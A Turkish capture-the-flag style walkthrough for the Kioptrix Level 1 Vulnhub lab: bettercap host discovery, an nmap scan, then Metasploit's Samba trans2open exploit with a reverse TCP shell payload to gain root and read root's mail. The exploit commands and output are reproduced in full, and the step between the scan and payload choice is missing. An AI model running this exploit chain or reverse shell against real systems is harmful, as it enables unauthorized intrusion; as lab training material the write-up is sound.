

## KİOPTRIX LEVEL 1 MAKİNE ÇÖZÜMÜ

Zafiyetli makinemizi Vulnhub sitesinden indirip kurulumunu yaptıktan sonra çözümüne başlayabiliriz.

Kioptrix makinemizi açtıktan sonra Kali açıp terminal ekranına *“bettercap -iface eth0”* yazdıktan sonra ilk önce *“net.probe on”* sonrasında *“net.show”* diyerek ip adreslerimizi görebiliriz.

```
(root@kali)~[/home/kali]
# bettercap -iface eth0
bettercap v2.32.0 (built for linux amd64 with go1.20.7) [type 'help' for a list of commands]

192.168.1.0/24 > 192.168.1.32 » ,[16:02:29] [sys.log] [inf] gateway monitor started ...
192.168.1.0/24 > 192.168.1.32 » ,net.probe on
192.168.1.0/24 > 192.168.1.32 » [16:02:39] [sys.log] [err] unknown or invalid syntax "net.probe on", type help for the help menu.
192.168.1.0/24 > 192.168.1.32 » net.probe on
[16:03:26] [sys.log] [inf] net.probe starting net.recon as a requirement for net.probe
192.168.1.0/24 > 192.168.1.32 » [16:03:26] [sys.log] [inf] net.probe probing 256 addresses on 192.168.1.0/24
192.168.1.0/24 > 192.168.1.32 » [16:03:26] [endpoint.new] endpoint 192.168.1.104 detected as 00:0c:29:f8:d9:4d (VMware, Inc.).
192.168.1.0/24 > 192.168.1.32 » [16:03:26] [endpoint.new] endpoint 192.168.1.27 detected as 18:47:3d:5e:76:ab (Chongqing Fugui Electronics Co.,Ltd.).
192.168.1.0/24 > 192.168.1.32 » [16:03:26] [endpoint.new] endpoint 192.168.1.26 detected as 20:9b:e6:46:e7:19.
192.168.1.0/24 > 192.168.1.32 » net.show
```

IP	MAC	Name	Vendor	Sent	Recvd	Seen
192.168.1.32	00:0c:29:c2:31:c5	eth0	VMware, Inc.	0 B	0 B	16:02:29
192.168.1.1	20:a6:80:d5:cd:15	gateway	Huawei Technologies Co.,Ltd	8.0 kB	5.2 kB	16:02:29
192.168.1.26	20:9b:e6:46:e7:19	DESKTOP-Q19MM8U	Chongqing Fugui Electronics Co.,Ltd.	793 B	537 B	16:03:27
192.168.1.27	18:47:3d:5e:76:ab	KIOPTRIX	Chongqing Fugui Electronics Co.,Ltd.	3.0 kB	92 B	16:03:26
192.168.1.104	00:0c:29:f8:d9:4d	KIOPTRIX	VMware, Inc.	542 B	690 B	16:03:29

Kioptrix makinemizin IP adresi *“192.168.1.104”* olduğunu görebiliriz.

Yeni terminalimizi açıp *“nmap -sV -O -oN pentest 192.168.1.104”* bu komutla versiyon ,işletim sistemi ile alakalı bilgileri alabiliyoruz *“-oN”* komutu ile pentest adında dosya oluşturup taramamızı o dosya içine kaydetmesi için kullanıyoruz . ( Benim burda kaydetmemin sebebi tekrardan bir taramaya ihtiyaç duymadan tarama sonuçlara ulaşmak istiyorum.)



Hedef makinemizde bize bağlamasını istediğimiz için 3. olan payloadı kullanabiliriz.

“set PAYLOAD payload/generic/shell\_reverse\_tcp” komutu ile payloadımızı çalıştırabiliriz.

```
msf6 exploit(linux/samba/trans2open) > set PAYLOAD payload/generic/shell_reverse_tcp
PAYLOAD => generic/shell_reverse_tcp
msf6 exploit(linux/samba/trans2open) > show options

Module options (exploit/linux/samba/trans2open):



| Name   | Current Setting | Required | Description                                                                                    |
|--------|-----------------|----------|------------------------------------------------------------------------------------------------|
| RHOSTS |                 | yes      | The target host(s), see https://docs.metasploit.com/docs/using-the-framework/04-targeting.html |
| RPORT  | 139             | yes      | The target port (TCP)                                                                          |



Payload options (generic/shell_reverse_tcp):



| Name  | Current Setting | Required | Description                                        |
|-------|-----------------|----------|----------------------------------------------------|
| LHOST | 192.168.1.32    | yes      | The listen address (an interface may be specified) |
| LPORT | 4444            | yes      | The listen port                                    |



Exploit target:



| Id | Name                     |
|----|--------------------------|
| 0  | Samba 2.2.x - Bruteforce |



View the full module info with the info, or info -d command.
```

Modülümüzün içine girdikten sonra “show options” diyerek optionsları görüntülüyoruz . RHOSTS kısmına ise hedef makinemiz olan IP adresini girmemiz gerekiyor onun içinde “ set RHOSTS 192.168.1.104” diyerek IP giriyoruz .

```
msf6 exploit(linux/samba/trans2open) > set RHOSTS 192.168.1.104
RHOSTS => 192.168.1.104
```

Run diyerek sistemi çalıştırıyoruz. Var dosyasını buluyoruz ve cd var diyerek içine girip ls ile içindekileri listeliyoruz. İçinde mail olan dosyanın içine girip root adlı kişinin mailini okumak için cat root diyerek maili okuyoruz ve makine çözümümüzü burda tamamlıyoruz.

```
cat root
From root Sat Sep 26 11:42:10 2009
Return-Path: <root@kioptix.level1>
Received: (from root@localhost)
    by kioptix.level1 (8.11.6/8.11.6) id n8QFgAZ01831
    for root@kioptix.level1; Sat, 26 Sep 2009 11:42:10 -0400
Date: Sat, 26 Sep 2009 11:42:10 -0400
From: root <root@kioptix.level1>
Message-Id: <200909261542.n8QFgAZ01831@kioptix.level1>
To: root@kioptix.level1
Subject: About Level 2
Status: 0
```

If you are reading this, you got root. Congratulations.  
Level 2 won't be as easy ...

```
From root Wed Aug 16 15:51:45 2023
Return-Path: <root@kioptrix.level1>
Received: (from root@localhost)
    by kioptrix.level1 (8.11.6/8.11.6) id 37GJpjT01086
    for root; Wed, 16 Aug 2023 15:51:45 -0400
Date: Wed, 16 Aug 2023 15:51:45 -0400
From: root <root@kioptrix.level1>
Message-Id: <202308161951.37GJpjT01086@kioptrix.level1>
To: root@kioptrix.level1
Subject: LogWatch for kioptrix.level1
```

##### LogWatch 2.1.1 Begin #####

##### LogWatch End #####